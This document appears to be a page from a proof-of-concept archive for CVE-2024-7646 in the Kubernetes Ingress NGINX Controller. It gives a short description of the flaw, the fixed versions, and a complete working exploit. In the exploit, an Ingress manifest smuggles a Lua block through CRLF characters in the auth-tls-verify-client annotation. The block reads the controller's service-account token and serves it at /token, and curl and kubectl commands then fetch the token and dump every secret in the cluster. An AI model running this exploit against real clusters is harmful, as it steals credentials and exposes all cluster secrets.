CVE-2024-7646 PoC — Ingress NGINX Controller 安全漏洞

Source

Associated Vulnerability

Description

PoC CVE-2024-7646

Readme

# CVE-2024-7646

## Description
In default, `nginx.ingress.kubernetes.io/server-snippet` is disabled, but due to this cve, `nginx.ingress.kubernetes.io/auth-tls-verify-client` can still insert custom snippets, or even lua code can be included.

## Fixed version
ingress-nginx controller v1.11.2 - fixed by kubernetes/ingress-nginx#11719 and kubernetes/ingress-nginx#11721
ingress-nginx controller v1.10.4 - fixed by kubernetes/ingress-nginx#11718 and kubernetes/ingress-nginx#11722

## PoC
Requires permission to create ingress
```
openssl genrsa -out ca.key 2048
openssl req -new -x509 -key ca.key -out ca.crt -days 365 -subj "/CN=ca"
kubectl create secret generic ca-secret --from-file=ca.crt=ca.crt
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: cve-ingress
  namespace: default
  annotations:
    nginx.ingress.kubernetes.io/auth-tls-secret: default/ca-secret
    nginx.ingress.kubernetes.io/auth-tls-verify-client: "off;\r\nlocation /token{\r\ncontent_by_lua_block{\r\nfile = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token','r')\r\nngx.say(file:read('*a'))\r\nngx.exit(ngx.HTTP_OK)\r\n}\r\n}\r\nset \$test true"
spec:
  rules:
    - host: test.ingress.io
      http:
        paths:
          - pathType: Prefix
            path: /test
            backend:
              service:
                name: test-service
                port:
                  number: 8080
EOF
```

In the default configuration, that credential has access to all secrets in the cluster.
```
TOKEN=$(curl 127.0.0.1:8080/token  -H "Host: test.ingress.io")
kubectl --token=$TOKEN get secret -A -o yaml
```

File Snapshot

 [4.0K]  /data/pocs/7975b766ebfe72b8faf472138e6939c7a6534e18
├── [ 701]  ingress.yaml
└── [1.6K]  README.md

0 directories, 2 files

Remarks